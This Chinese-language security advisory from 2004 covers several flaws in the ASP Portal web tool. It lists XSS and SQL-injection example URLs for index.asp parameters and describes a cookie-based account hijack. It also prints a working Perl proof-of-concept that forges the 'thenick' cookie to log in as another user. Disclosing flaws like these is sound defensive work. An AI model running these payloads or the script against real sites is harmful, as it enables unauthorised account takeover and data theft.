安全研究

安全漏洞
ASP Portal多个安全漏洞

发布日期:2004-02-14
更新日期:2004-02-23

受影响系统:
ASP Portal ASP Portal
描述:
BUGTRAQ  ID: 9659

ASP Portal是一款基于ASP的使用ACCESS数据库存储站点信息的WEB构建工具。脚本还包括方便使用的管理接口。

ASP Portal对外部输入缺少充分过滤,远程攻击者可以利用这个漏洞得到验证,获取用户信息,或执行任意代码,修改用户信息。

第一漏洞是跨站脚本执行问题:

由于index.asp对提交给'inc'参数的数据缺少充分过滤,允许攻击者注入HTML和脚本代码到页面,导致恶意代码在客户端浏览器上执行。如:

http://localhost/index.asp?inc='>[XSS]
http://localhost/index.asp?inc=profile&searchtext='>[XSS]
http://localhost/index.asp?inc=forumread&article='>[XSS]


第二个是Image脚本代码注入:

攻击者可以注入任意HTML或脚本代码代替在用户'details'页的"photograph URL"的Image值,可导致恶意代码在客户端浏览器上执行。

第三个问题是SQL注入:

程序对用户提交给'pageid'和'downloadscat'字段的数据缺少充分过滤,提交包含恶意SQL命令,可更改原有SQL逻辑,获得数据库敏感信息,如:

http://localhost/index.asp?inc=blog&pageid='[SqlQuery]
http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery]

第四个问题是COOKIE帐户劫持:

通过修改COOKIE中的'thenick'参数,可未授权以其他帐户权限访问系统。

<*来源:Manuel López (mantra@gulo.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107695531828164&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Manuel López (mantra@gulo.org)提供了如下测试方法:

帐户劫持演示程序如下:

---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ----

#!/usr/bin/perl -w
## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK
## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm

use IO::Socket;
if (@ARGV < 4)
{
print "\n\n";
print " ____________________________________________________________ \n";
print "|                                                            |\n";
print "|   PROOF OF CONCEPT COOKIE ACCOUNT HIJACK                   |\n";
print "|   Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n";
print "|                                                            |\n";
print "|   By: Manuel López #IST                                    |\n";
print "|____________________________________________________________|\n";
print "\n\n";
exit(1);
}

$host = $ARGV[0];
$directorio = $ARGV[1];
$usuario = $ARGV[2];
$fichero = $ARGV[3];

print "\n";
print "----- Conectando <----\n";
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => "$host",PeerPort => "80") || die "$socket error $!";
print "====> Conectado\n";
print "====> Enviando Datos\n";
$socket->print(<<taqui) or die "write: $!";
GET http://$host/$directorio HTTP/1.1
Cookie: thenick=$usuario

taqui
print "====> OK\n";
print "====> Generando $fichero ...\n";
open( Result, ">$fichero");
print Result while <$socket>;
close Result;

------------------------------------------------

建议:
厂商补丁:

ASP Portal
----------
下载补丁程序:

http://www.aspportal.net/downloadsviewer.asp?theurl=38

浏览次数:3157
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障